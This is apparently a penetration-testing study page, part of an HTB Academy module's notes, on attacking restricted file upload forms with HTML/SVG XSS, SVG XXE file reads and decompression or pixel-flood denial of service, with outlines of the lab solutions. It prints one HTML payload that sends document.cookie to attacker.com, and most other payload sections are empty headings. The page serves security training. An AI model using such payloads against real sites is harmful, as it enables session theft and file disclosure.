search

Limited File Uploads

🛡️ Secure Forms: Attacking "secure" upload forms with XSS, XXE, and DoS when arbitrary uploads fail

hashtag
Overview

So far, we have been mainly dealing with filter bypasses to obtain arbitrary file uploads through a vulnerable web application. While file upload forms with weak filters can be exploited to upload arbitrary files, some upload forms have secure filters that may not be exploitable with the techniques we discussed.

However, even if we are dealing with a limited (i.e., non-arbitrary) file upload form, which only allows us to upload specific file types, we may still be able to perform some attacks on the web application.

Certain file types, like SVG, HTML, XML, and even some image and document files, may allow us to introduce new vulnerabilities to the web application by uploading malicious versions of these files.

hashtag
Cross-Site Scripting (XSS) Attacks

hashtag
HTML File XSS

Attack Vector: Upload malicious HTML files containing JavaScript

Malicious HTML Example:

<!DOCTYPE html>
<html>
<head>
    <title>Malicious HTML</title>
</head>
<body>
    <h1>Legitimate Content</h1>
    <script>
        alert('XSS Triggered from: ' + window.origin);
        fetch('http://attacker.com/steal?cookies=' + document.cookie);
    </script>
</body>
</html>

hashtag
Image Metadata XSS

Using exiftool to inject XSS:

hashtag
SVG XSS Attacks

Basic SVG XSS Payload:

hashtag
XML External Entity (XXE) Attacks

hashtag
SVG XXE for System File Reading

Reading /etc/passwd:

hashtag
PHP Source Code Disclosure

Reading PHP source with base64 encoding:

Decoding base64 output:

hashtag
Denial of Service (DoS) Attacks

hashtag
Decompression Bomb (ZIP)

Creating a ZIP bomb:

hashtag
Pixel Flood Attack

Manual hex editing:

hashtag
HTB Academy Lab Solutions

hashtag
Lab 1: XXE File Disclosure Attack

Challenge: Read /flag.txt using XXE through secure upload form

Step 1: Create SVG with XXE payload

Step 2: Upload SVG file

  • Save payload as xxe.svg

  • Upload through the secure form (should accept SVG files)

  • Navigate to uploaded file location

Step 3: View SVG content

  • Access the uploaded SVG file in browser

  • Check page source if content is not visible

  • Flag should be displayed in SVG text content

Expected Flag: HTB{...}

hashtag
Lab 2: Source Code Disclosure

Challenge: Read upload.php source code to identify uploads directory

Step 1: Create PHP source disclosure SVG

Step 2: Upload and access SVG

  • Upload the SVG file

  • View the uploaded file

  • Copy the base64 encoded content

Step 3: Decode PHP source

Expected Answer: The exact directory name as found in source code

This comprehensive guide demonstrates that even "secure" upload forms can be vulnerable to sophisticated attacks through legitimate file types.

PreviousType FiltersNextAdvanced Bypass Methods

Last updated